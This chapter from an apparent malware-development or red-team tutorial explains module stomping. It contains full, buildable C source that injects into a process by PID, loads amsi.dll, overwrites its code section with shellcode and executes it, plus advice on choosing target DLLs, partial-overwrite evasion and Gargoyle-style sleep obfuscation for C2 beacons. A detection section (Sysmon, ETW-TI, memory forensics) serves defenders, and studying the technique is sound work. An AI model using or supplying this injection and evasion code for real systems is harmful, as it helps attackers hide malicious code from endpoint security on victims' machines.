Module Stomping (DLL Overloading)
Shellcode injected via VirtualAllocEx sits in anonymous heap memory — a memory region not backed by any file on disk. This is immediately visible to forensic tools: malfind flags it, EDRs detect the unmapped executable region. Module stomping solves this by loading a legitimate DLL into the target process first (using LoadLibrary), then overwriting the DLL's executable code section with shellcode. The shellcode now lives in memory that IS backed by a file on disk — a real DLL. When forensic tools scan the process, they see file-backed executable memory (normal), not anonymous RWX memory (suspicious). This chapter explains why VAD-backed memory fools some tools, implements module stomping, and explains why modern EDRs catch it anyway.
The VAD Problem and Module Stomping's Solution
CLASSIC SHELLCODE INJECTION — what forensic tools see:
─────────────────────────────────────────────────────────────────────────
Process: explorer.exe
VAD tree entry for shellcode region:
Base: 0x00000248ABCD0000
Size: 0x1000
Protection: PAGE_EXECUTE_READ
Type: MEM_PRIVATE (anonymous — no backing file)
FileObject: NULL
↑
This is what malfind looks for: executable + private = shellcode
MODULE STOMPING — what forensic tools see:
─────────────────────────────────────────────────────────────────────────
Process: explorer.exe
Step 1: LoadLibraryA("C:\\Windows\\System32\\amsi.dll")
(or any small, rarely-used DLL)
VAD tree entry AFTER loading:
Base: 0x00007FFABBCD0000
Size: 0x1F000
Protection: PAGE_EXECUTE_READ
Type: MEM_IMAGE (file-backed!)
FileObject: \Device\HarddiskVolume3\Windows\System32\amsi.dll
↑
Looks like a legitimately loaded DLL!
Step 2: Overwrite amsi.dll's .text section with shellcode
VAD entry AFTER stomping:
(unchanged — VAD still shows amsi.dll as the backing file)
FileObject: \Device\HarddiskVolume3\Windows\System32\amsi.dll
But contents in memory ≠ file on disk ← detector finds this
What module stomping buys you:
✓ Memory appears file-backed (less suspicious to VAD-only tools)
✓ Memory address falls inside a loaded module (StartAddress in known module)
✗ EDRs that compare in-memory bytes vs on-disk: still caught
✗ ETW-TI logs the VirtualProtectEx used to make .text writableImplementation
/* module_stomp.c — Module stomping via DLL .text section overwrite
Loads a "sacrificial" DLL into the target process, overwrites its
code section with shellcode, then executes from that address.
Good candidate DLLs to stomp:
amsi.dll — small (32KB), loaded on demand, often already in process
wldap32.dll — LDAP client library, rarely called by most processes
winmm.dll — multimedia functions, small .text section
xolehlp.dll — OLE helper, rarely used
Criteria for a good stomp target:
1. Small .text section (shellcode must fit)
2. Not actively used by the process (overwriting it won't crash the host)
3. Signed by Microsoft (looks legitimate in module lists)
Build:
x86_64-w64-mingw32-gcc -O2 -o stomp.exe module_stomp.c
*/
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
/* Shellcode to inject (replace with real payload) */
static unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
static SIZE_T sc_len = sizeof(sc);
/* ── Find base address of a module in a remote process ─────────────── */
static PVOID get_module_base(DWORD pid, const char *dll_name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
if (snap == INVALID_HANDLE_VALUE) return NULL;
MODULEENTRY32 me = { .dwSize = sizeof(me) };
PVOID base = NULL;
if (Module32First(snap, &me)) {
do {
if (_stricmp(me.szModule, dll_name) == 0) {
base = me.modBaseAddr;
break;
}
} while (Module32Next(snap, &me));
}
CloseHandle(snap);
return base;
}
/* ── Find the .text section in a local DLL for offset calculation ──── */
static BOOL get_text_section(const char *dll_name,
DWORD *out_offset, DWORD *out_size) {
HMODULE hMod = LoadLibraryExA(dll_name, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hMod) return FALSE;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)((PBYTE)hMod + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
*out_offset = sec[i].VirtualAddress;
*out_size = sec[i].Misc.VirtualSize;
FreeLibrary(hMod);
return TRUE;
}
}
FreeLibrary(hMod);
return FALSE;
}
static BOOL module_stomp(DWORD pid) {
const char *stomp_dll = "amsi.dll";
/* Step 1: Open target process */
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess: %lu\n", GetLastError());
return FALSE;
}
/* Step 2: Load the sacrificial DLL into the target process
We do this by injecting a LoadLibrary call (same as Ch24).
After this, amsi.dll is mapped into the target process.
*/
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLib = GetProcAddress(hK32, "LoadLibraryA");
/* Write DLL name into target */
LPVOID name_buf = VirtualAllocEx(hProc, NULL, strlen(stomp_dll)+1,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, name_buf, stomp_dll, strlen(stomp_dll)+1, NULL);
HANDLE hT = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib,
name_buf, 0, NULL);
WaitForSingleObject(hT, 5000);
CloseHandle(hT);
VirtualFreeEx(hProc, name_buf, 0, MEM_RELEASE);
printf("[+] %s loaded into target\n", stomp_dll);
/* Step 3: Find .text section offset within the DLL */
DWORD text_offset = 0, text_size = 0;
if (!get_text_section(stomp_dll, &text_offset, &text_size)) {
printf("[-] Failed to find .text section in %s\n", stomp_dll);
CloseHandle(hProc);
return FALSE;
}
printf("[+] .text at offset 0x%lX, size 0x%lX\n", text_offset, text_size);
if (sc_len > text_size) {
printf("[-] Shellcode (%zu bytes) exceeds .text section (%lu bytes)\n",
sc_len, text_size);
CloseHandle(hProc);
return FALSE;
}
/* Step 4: Get base address of the DLL in the target process */
PVOID remote_base = get_module_base(pid, stomp_dll);
if (!remote_base) {
printf("[-] Could not find %s in target\n", stomp_dll);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Remote %s base: %p\n", stomp_dll, remote_base);
/* Address of .text section in the target */
PVOID stomp_addr = (PBYTE)remote_base + text_offset;
printf("[+] Stomping at %p\n", stomp_addr);
/* Step 5: Make .text writable in the target (currently PAGE_EXECUTE_READ) */
DWORD old_protect = 0;
if (!VirtualProtectEx(hProc, stomp_addr, sc_len,
PAGE_EXECUTE_READWRITE, &old_protect)) {
printf("[-] VirtualProtectEx (make writable): %lu\n", GetLastError());
CloseHandle(hProc);
return FALSE;
}
/* Step 6: Write shellcode into the .text section */
WriteProcessMemory(hProc, stomp_addr, sc, sc_len, NULL);
/* Step 7: Restore protection (RX — looks like normal code) */
VirtualProtectEx(hProc, stomp_addr, sc_len, PAGE_EXECUTE_READ, &old_protect);
printf("[+] Shellcode written, protection restored to RX\n");
/* Step 8: Create thread at shellcode address (inside amsi.dll's .text) */
HANDLE hExec = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)stomp_addr,
NULL, 0, NULL);
if (!hExec) {
printf("[-] CreateRemoteThread: %lu\n", GetLastError());
CloseHandle(hProc);
return FALSE;
}
printf("[+] Thread started in stomped module at %p\n", stomp_addr);
WaitForSingleObject(hExec, 5000);
CloseHandle(hExec);
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
return module_stomp((DWORD)atol(argv[1])) ? 0 : 1;
}
Why Module Stomping Still Gets Caught
Detection vectors:
1. VirtualProtectEx on a loaded module's .text section:
Normal processes almost never change the protection of a loaded DLL's
code section at runtime. Sysmon EventID 10 + VirtualProtectEx to add
WRITE permission to a known DLL's image = very high-confidence alert.
Sysmon rule (pseudocode):
EventID 10 (ProcessAccess) with PROCESS_VM_OPERATION
followed by memory region being a known DLL name
→ alert
2. CreateRemoteThread with StartAddress inside amsi.dll:
When the shellcode thread starts, its start address is inside amsi.dll's
address range (e.g., amsi.dll + 0x1234). This is unusual: amsi.dll only
exports AmsiScanBuffer, AmsiOpenSession, etc. A thread entry point in
amsi.dll's code that doesn't correspond to a known export is suspicious.
EDRs can check: is the thread start address a known DLL export? If not, flag.
3. On-disk vs in-memory mismatch:
A forensic comparison of amsi.dll on disk vs amsi.dll in memory
shows the .text section has been modified. Even partial overwrites
(only the shellcode bytes, leaving the rest of .text intact) are visible.
Volatility's dlllist + vaddump + comparison to file hash catches this.
4. ETW-TI kernel events:
VirtualProtectEx crosses the kernel boundary (NtProtectVirtualMemory).
ETW-TI logs this with full context: which process, which address range,
which protection change. This is how Microsoft Defender for Endpoint
detects module stomping even without ntdll hooks.
Better evasion approach than full stomping:
Overwrite only a small stub (jmp shellcode_addr) at the beginning of a
rarely-called function. The rest of the .text section stays intact —
harder to detect via hash comparison. Still doesn't solve the
VirtualProtectEx + ETW-TI problem.
Questions & Answers
Which DLL is best to stomp — what are the selection criteria?
The ideal stomp target meets these criteria: (1) Small .text section — your shellcode must fit entirely within it. amsi.dll's .text section is about 8KB, enough for most beacons. (2) Not actively called by the host process — overwriting a DLL that the host process uses at runtime will crash it when the process calls a function that's now shellcode bytes instead of real code. amsi.dll is a good choice for processes that have it loaded but are not actively scanning content. (3) Available in the target process — you can either use a DLL already loaded (no LoadLibrary injection needed) or inject LoadLibrary first to load a new DLL. (4) Signed by Microsoft — the DLL should appear legitimate in module lists. In practice, amsi.dll, wldap32.dll, and xolehlp.dll are popular choices. Avoid any DLL that might be actively used by the EDR product itself (like amsi.dll in a process where AMSI scanning is active — that could trigger the AMSI scan engine when you modify it).
How does Gargoyle / Foliage technique improve on module stomping for beacon concealment?
The Gargoyle technique (and its successors like Foliage) extend module stomping with a sleep-time obfuscation approach. The challenge: even if shellcode is in a file-backed module region, the memory is still executable (PAGE_EXECUTE_READ) 100% of the time, including when the beacon is sleeping between C2 check-ins. During sleep, there's no reason for a code region to be executable — nothing is running. Gargoyle changes the protection of the shellcode region to PAGE_NOACCESS or PAGE_READONLY during sleep, and restores it to PAGE_EXECUTE_READ just before the beacon wakes up and needs to run. It sets up Windows timers or APCs to trigger the permission restoration automatically. This way, a memory scan during the beacon's sleep period finds no executable shellcode at all — the region is marked no-access or read-only. This dramatically reduces the window during which a memory scanner can find the shellcode.
Can module stomping work if the target DLL wasn't loaded before injection?
Yes — that's why module stomping often starts with a LoadLibrary injection (exactly like Chapter 24's DLL injection technique). You inject the DLL name string and call LoadLibraryA in the target process, loading your chosen "sacrificial" DLL into the target. Once it's loaded, you get its base address, find the .text section, and stomp it. This two-phase approach (first load the stomp target, then overwrite it) means you can choose which DLL to stomp regardless of what's already in the process. The trade-off is the extra CreateRemoteThread call for LoadLibrary, which itself is a detectable injection. In some target processes, amsi.dll is already loaded (because the process has AMSI integration), making the LoadLibrary step unnecessary — just stomp what's already there.